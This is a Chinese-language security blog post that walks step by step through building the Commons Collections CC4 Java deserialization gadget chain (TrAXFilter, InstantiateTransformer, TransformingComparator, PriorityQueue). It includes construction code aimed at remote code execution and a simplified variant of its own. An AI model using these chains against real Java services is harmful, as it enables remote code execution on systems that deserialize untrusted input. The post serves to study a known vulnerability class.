0x00 前言
其实有了CC1-Gadget、CC2-Gadget、CC3-Gadget的基础,CC4-Gadget也没什么好分析的了,基本几句话就结束了,但由于我要水文章,所以还是写一篇吧😋。
本篇包含以下元素:
- CC4-Gadget的分析
- 最后自己思考省去了原Gadget中的脱裤子放p的ChainedTransformer
0x01 思路
CC4-Gadget的思路其实很简单,就是在CC3包装到ChainedTransformer时,再接上CC2中的PriorityQueue链。
ChainedTransformer链
关于CC3的ChainedTransformer的包装如果忘记了的话,可以看这篇文章回顾一下:Java反序列化之CC3,这里就只给出包装完的样子:
//get templatesChian
MakeTemplates makeTemplates = new MakeTemplates();
Templates templates = (Templates) makeTemplates.makeTemplate();
//chainT
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
//test chain
chain.transform("foo");
chain会利用InstantiateTransformer帮我们实例化TrAXFilter,而TrAXFilter实例化会触发templates.newTransform,触发RCE。
PriorityQueue链
上面的ChainedTransformer链已经做到了只要调用chain中的transform方法并传入任意的参数即可实现RCE。回顾一下CC2中的PriorityQueue链的触发处: Java反序列化之CC2:
private void siftUpUsingComparator(int k, E x) {
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (comparator.compare(x, (E) e) >= 0)
break;
queue[k] = e;
k = parent;
}
queue[k] = x;
}
会调用comparator(构造函数中可控)的compare方法,而在TransformingComparator类中,其compare方法,调用了this.transformer.transform,且参数this.transformer可控(构造函数中可控):
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
所以,如果我们让TransformingComparator类的this.transformer为上文的ChainedTransformer链,然后让其为PriorityQueue链的comparator,当调用comparator的compare方法时,就会触发chain.transfomer,这就构成了一个完整的链。
小结
总结上面的思路如下:
- 创建Templates链
- 将templates包装成ChainedTransformer
- 创建一个TransformingComparator类,其this.transformer要为步骤二中的chain
- 创建一个PriorityQueue,其comparator为步骤三中的TransformingComparator
0x02 构造
第一步,构造Templates链(使用CC2-Gadget中的祖传代码,在懒狗的CC3-Gadget的项目里封装了,如果你和我一样是个懒狗,不想自己写,可以直接抄,顺便给个Star✨):
链接: JavaUnserialization/CommonsCollections3-Gadget
第二步,封装成ChainTransformer,在上文以及CC3-Gadget分析一文中也已经给出:
public static Object makeChain() throws Exception{
//get templatesChian
MakeTemplates makeTemplates = new MakeTemplates();
Templates templates = (Templates) makeTemplates.makeTemplate();
//chainT
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
return chain;
}
第三步,创建一个this.transformer为chain的TransformingComparator:
//make comparator
TransformingComparator comparator = (TransformingComparator) new TransformingComparator(chain);
//test comparator
comparator.compare(1,2);
第四步,创建一个PriorityQueue,传入上面构造的comparator。这里如果你使用我CC2中的方法,记得反射修改size的大小:
PriorityQueue priorityQueue = new PriorityQueue(1,comparator);//initialxxx must >= 1
//set queue[0] to be TemplateImplChain && size==2
Class clz = priorityQueue.getClass();
Field field = clz.getDeclaredField("queue");
field.setAccessible(true);
field.set(priorityQueue, new Object[]{"foo","bar"});//因为已经用chain封装了,所以这里的queue随便值为什么,但大小仍需为2
field = clz.getDeclaredField("size");//set the size to be 2,after the new PriorityQueue the size is still 0
field.setAccessible(true);
field.set(priorityQueue, 2);
最后用获得的priorityQueue去序列化和反序列化测试,即可RCE。
0x03 思考
其实如果你仔细思考一下CC2-Gadget中的PriorityQueue链,其实这里还有另外一种方法🤗。在CC2-Gadget中,我们的queue[0]为templates链,而TransformingComparator中的transformer为InvokerTransformer,且这个InvokerTransformer构造为new InvokerTransformer("newTransformer",new Class[0],new Object[0])
,最终实现了当调用compare方法并传入queue[0]时,就会变成调用templates链的newTransformer方法。
为什么要说上面的一大堆呢? 还记得我们在CC3-Gadget分析中说过的一句话吗? “InstantiateTransformer类中的transform,和CC1中的InvokerTransformer类似,不过后者是可以通过反射获得任意方法,而这里可以通过实例化任意的类”。
既然InstantiateTransformer与InvokerTransformer类似,这里完全可以做一个替换。什么意思呢?就是我们实际上完全不需要用ChainedTransformer来包装😣,因为他只是帮我们把TrAXFilter.class传入到InstantiateTransformer的transform之中去,我们这里完全就可以把queue[0]赋值为TrAXFilter.class,完全不需要脱裤子放p啊,下面来尝试再次构造吧。
构造
只需要改变两个地方,首先是不必包装到chain,只需要构造InstantiateTransformer:
//get templatesChian
MakeTemplates makeTemplates = new MakeTemplates();
Templates templates = (Templates) makeTemplates.makeTemplate();
//make InstantiateTransformer
InstantiateTransformer iTransfomer = new InstantiateTransformer(
new Class[]{Templates.class}, new Object[]{templates});
其次是把priorityQueue中的queue[0]赋值为TrAXFilter.class:
PriorityQueue priorityQueue = new PriorityQueue(1,comparator);//initialxxx must >= 1
//set queue[0] to be TemplateImplChain && size==2
Class clz = priorityQueue.getClass();
Field field = clz.getDeclaredField("queue");
field.setAccessible(true);
field.set(priorityQueue, new Object[]{TrAXFilter.class,"bar"});
field = clz.getDeclaredField("size");//set the size to be 2,after the new PriorityQueue the size is still 0
field.setAccessible(true);
field.set(priorityQueue, 2);
完整代码可戳此链接查看: JavaUnserialization/MyAnotherCC4.java